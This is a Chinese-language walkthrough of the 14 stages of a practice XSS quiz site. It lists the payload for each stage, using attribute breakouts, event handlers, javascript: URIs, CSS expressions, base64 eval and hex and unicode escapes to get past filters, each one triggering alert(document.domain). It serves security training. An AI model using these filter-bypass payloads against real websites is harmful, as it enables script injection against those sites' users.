环境:http://xss-quiz.int21h.jp
一、Stage #1 无过滤xss漏洞
1、随便输入字符:123
2、输入payload:<script>alert(document.domain)</script>
3、弹出对话框,说明存在xss漏洞
二、Stage #2 属性中的xss漏洞
1、在窗口中输入payload:<script>alert(document.domain)</script>,查看审查元素,payload被写在一个<input>标签中
2、重新构造payload,先闭合标签:
"><script>alert(document.domain)</script>
或者 "onmouseover=alert(document.domain)>
3、成功弹出
三、Stage #3 选择列表框中的xss漏洞
1、点击search,抓包
2、修改post数据,添加payload:<script>alert(document.domain);</script>,发送到repeater,send
3、右击响应信息,show response in browser,复制到浏览器打开
四、隐藏提交参数的xss漏洞
"><svg onload=alert(document.domain)>%0a
1、随便输入字符,search,抓包
2、在隐藏参数后面添加payload,forward,查看审查元素
3、闭合参数,重新构造payload:"><script>alert(document.domain);</script>,发包,成功弹出
五、HTML事件中的xss漏洞
1、直接输入payload:"><script>alert(document.domain);</script>,审查元素,字符被转义了,
2、重新构造payload:"onmouseover="alert(document.domain)
或者" onclick="alert(document.domain)"
3、成功弹出
六、空格分隔属性中的xss漏洞
1、随便输入字符111 222 333
2、输入字符串
3、构造payload:111 onclick=alert(document.domain),成功弹出
七、JavaScript为协议触发
1、输入payload:javascript:alert(document.domain),成功弹出
八、绕过过滤xss漏洞
1、输入payload:"><script>alert(document.domain);</script>,审查元素,domain被过滤了
2、重新构造payload:"><script>alert(document.dodomainmain);</script>
或者"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>
九、绕过替换script和on事件的xss漏洞
1、输入<script>alert(document.dodomainmain);</script>,script被替换成xscript
2、闭合payload,并修改100" onmouseover="alert(document.domain)
on事件,被替换成onxxx
3、使用伪协议加“	”绕过
100"> <a href="javascr	ipt:alert(document.domain)">xss</a>
十、利用IE特性绕过过滤",``可以闭合双引号,
``onmousemove=alert(document.domain)
仅针对IE浏览器
十一、利用css特性绕过过滤",IE低版本
background-color:#f00;background:url("javascript:alert(document.domain);");
十二、利用css执行js
xss:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})
十三、十六进制绕过过滤
1、输入<script>alert(document.domain)</script>
2、<>都被转义了,用十六进制代替
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
十四、unicode绕过过滤
1、输入\\x3c \\x3e,不能绕过
2、重新利用unicode构造payload:
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
禁止非法,后果自负
欢迎关注公众号:web安全工具库